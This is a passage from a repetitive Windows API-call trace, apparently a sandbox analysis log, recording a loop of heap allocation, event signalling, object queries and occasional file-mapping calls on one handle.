dwMilliseconds=0xffffffff) returned 0x0 [0148.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.843] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.843] ResetEvent (hEvent=0xe8) returned 1 [0148.844] SetEvent (hEvent=0xec) returned 1 [0148.844] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.844] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.844] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.844] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.844] ResetEvent (hEvent=0xe8) returned 1 [0148.844] SetEvent (hEvent=0xec) returned 1 [0148.845] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.845] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.845] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.845] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.845] ResetEvent (hEvent=0xe8) returned 1 [0148.845] SetEvent (hEvent=0xec) returned 1 [0148.845] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.845] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.845] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.845] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.845] ResetEvent (hEvent=0xe8) returned 1 [0148.845] SetEvent (hEvent=0xec) returned 1 [0148.846] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.846] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.846] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.846] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.846] ResetEvent (hEvent=0xe8) returned 1 [0148.846] SetEvent (hEvent=0xec) returned 1 [0148.846] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.846] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.846] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.846] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.846] ResetEvent (hEvent=0xe8) returned 1 [0148.846] SetEvent (hEvent=0xec) returned 1 [0148.847] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.847] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.847] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.847] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.847] ResetEvent (hEvent=0xe8) returned 1 [0148.847] SetEvent (hEvent=0xec) returned 1 [0148.848] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.848] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.848] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.848] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.848] ResetEvent (hEvent=0xe8) returned 1 [0148.848] SetEvent (hEvent=0xec) returned 1 [0148.848] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.848] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.848] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.848] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.848] ResetEvent (hEvent=0xe8) returned 1 [0148.848] SetEvent (hEvent=0xec) returned 1 [0148.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.849] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.849] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.849] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.849] ResetEvent (hEvent=0xe8) returned 1 [0148.849] SetEvent (hEvent=0xec) returned 1 [0148.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.849] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.849] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.849] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.850] ResetEvent (hEvent=0xe8) returned 1 [0148.850] SetEvent (hEvent=0xec) returned 1 [0148.852] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.852] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.852] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.852] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.853] ResetEvent (hEvent=0xe8) returned 1 [0148.853] SetEvent (hEvent=0xec) returned 1 [0148.853] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.853] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.853] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.853] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.853] ResetEvent (hEvent=0xe8) returned 1 [0148.853] SetEvent (hEvent=0xec) returned 1 [0148.853] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.854] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.854] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.854] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.854] ResetEvent (hEvent=0xe8) returned 1 [0148.854] SetEvent (hEvent=0xec) returned 1 [0148.854] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.854] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.854] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.854] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.854] ResetEvent (hEvent=0xe8) returned 1 [0148.854] SetEvent (hEvent=0xec) returned 1 [0148.855] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.855] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.855] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.855] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.855] ResetEvent (hEvent=0xe8) returned 1 [0148.855] SetEvent (hEvent=0xec) returned 1 [0148.855] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.855] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.855] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.855] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.855] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0148.855] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0148.855] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0148.855] ResetEvent (hEvent=0xe8) returned 1 [0148.855] SetEvent (hEvent=0xec) returned 1 [0148.856] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.856] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.856] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.856] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.856] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0148.856] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0148.856] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0148.856] ResetEvent (hEvent=0xe8) returned 1 [0148.856] SetEvent (hEvent=0xec) returned 1 [0148.857] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.857] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.857] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.857] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.857] ResetEvent (hEvent=0xe8) returned 1 [0148.857] SetEvent (hEvent=0xec) returned 1 [0148.857] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.857] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.857] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.857] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.857] ResetEvent (hEvent=0xe8) returned 1 [0148.857] SetEvent (hEvent=0xec) returned 1 [0148.858] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.858] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.858] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.858] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.858] ResetEvent (hEvent=0xe8) returned 1 [0148.858] SetEvent (hEvent=0xec) returned 1 [0148.858] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.858] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.858] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.858] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.858] ResetEvent (hEvent=0xe8) returned 1 [0148.858] SetEvent (hEvent=0xec) returned 1 [0148.859] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.859] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.859] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.859] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.859] ResetEvent (hEvent=0xe8) returned 1 [0148.859] SetEvent (hEvent=0xec) returned 1 [0148.859] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.859] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.859] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.859] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.859] ResetEvent (hEvent=0xe8) returned 1 [0148.860] SetEvent (hEvent=0xec) returned 1 [0148.860] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.860] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.860] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.860] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.860] ResetEvent (hEvent=0xe8) returned 1 [0148.860] SetEvent (hEvent=0xec) returned 1 [0148.861] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.861] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.861] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.861] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.861] ResetEvent (hEvent=0xe8) returned 1 [0148.861] SetEvent (hEvent=0xec) returned 1 [0148.861] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.861] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.861] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.861] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.861] ResetEvent (hEvent=0xe8) returned 1 [0148.861] SetEvent (hEvent=0xec) returned 1 [0148.862] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.862] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.862] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.862] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.862] ResetEvent (hEvent=0xe8) returned 1 [0148.862] SetEvent (hEvent=0xec) returned 1 [0148.862] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.862] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.862] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.862] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.862] ResetEvent (hEvent=0xe8) returned 1 [0148.862] SetEvent (hEvent=0xec) returned 1 [0148.863] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.863] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.863] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.863] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.863] ResetEvent (hEvent=0xe8) returned 1 [0148.863] SetEvent (hEvent=0xec) returned 1 [0148.863] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.863] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.863] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.863] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.863] ResetEvent (hEvent=0xe8) returned 1 [0148.863] SetEvent (hEvent=0xec) returned 1 [0148.864] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.864] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.864] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.864] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.864] ResetEvent (hEvent=0xe8) returned 1 [0148.864] SetEvent (hEvent=0xec) returned 1 [0148.864] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.864] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.865] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.865] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.865] ResetEvent (hEvent=0xe8) returned 1 [0148.865] SetEvent (hEvent=0xec) returned 1 [0148.865] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.865] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.865] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.865] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.865] ResetEvent (hEvent=0xe8) returned 1 [0148.865] SetEvent (hEvent=0xec) returned 1 [0148.866] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.866] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.866] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.866] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.866] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0148.866] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0148.866] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0148.866] ResetEvent (hEvent=0xe8) returned 1 [0148.866] SetEvent (hEvent=0xec) returned 1 [0148.866] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.866] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.866] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.866] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.866] ResetEvent (hEvent=0xe8) returned 1 [0148.866] SetEvent (hEvent=0xec) returned 1 [0148.867] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.867] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.867] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.867] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.867] ResetEvent (hEvent=0xe8) returned 1 [0148.867] SetEvent (hEvent=0xec) returned 1 [0148.867] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.867] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.867] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.867] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.868] ResetEvent (hEvent=0xe8) returned 1 [0148.868] SetEvent (hEvent=0xec) returned 1 [0148.868] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.868] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.868] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.868] ResetEvent (hEvent=0xe8) returned 1 [0148.868] SetEvent (hEvent=0xec) returned 1 [0148.869] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.869] WaitForMultipleObjects (nCount=0x2, 